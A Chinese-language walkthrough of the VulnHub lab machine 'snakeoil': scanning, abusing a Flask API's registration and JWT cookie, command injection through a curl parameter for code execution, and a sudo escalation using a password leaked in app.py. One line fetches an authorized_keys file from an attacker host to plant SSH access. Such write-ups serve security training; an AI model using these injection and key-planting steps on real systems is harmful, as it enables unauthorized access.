digitalworld.local:snakeoil
项目地址:https://download.vulnhub.com/digitalworld/SNAKEOIL.7z
是一个打包好的镜像文件
注意:导入 ovf 时一定要选择我已移动,否则没网
使用 Nmap 扫描出开放服务及操作系统版本

RCE
Flask
在 8080 端口上有个 Useful Links 页面,给了个链接

扫描出注册接口,访问提示请求方法错误

在 /users 中有泄露用户名以及密码,键名是 username 以及 password

构造 POST 请求注册一个用户

访问登录接口也是一样

把前面注册发的 access_token 带上,登录得到新的 token

携带这两个参数去访问 /run,回显 JSON 提示需要提供 URL 以及 端口

添加上请求体以及请求类型发现,回显需要 secret key

前面扫出过 /secret 路径,去携带 Cookie 访问拿 key,但是还是不行
在前面的配置信息中找到了 Cookie 的名称

修改 access_token_cookie 拿到 key

携带访问过去有回显路径之类的

扔给 AI 解析是执行的 curl 命令

curl -V 时会返回版本信息并且退出 curl 命令,这时候我们利用 && 来执行我们要执行的命令
使用以下 Payload 可以打 RCE

但是这里因为环境问题打不了反弹 Shell,所以只能传公钥去
先生成一个

拷贝到 /tmp 目录下重新命令

1 | http://192.168.110.150:8989/authorized_keys -O |
-O:表示使用远程文件的原名保存
成功保存到本地

先改权限

再把 authorized_keys 文件移到 /home/patrick/.ssh/ 目录下

SSH 连接成功

提权
/etc/sudoers 配置不当
检查自身权限,可以以 root 身份运行所有命令,但是需要密码

敏感文件泄露
查看目录有个 flask_blog 目录

进去在 app.py 中找到两个 Key,第二个就是密码

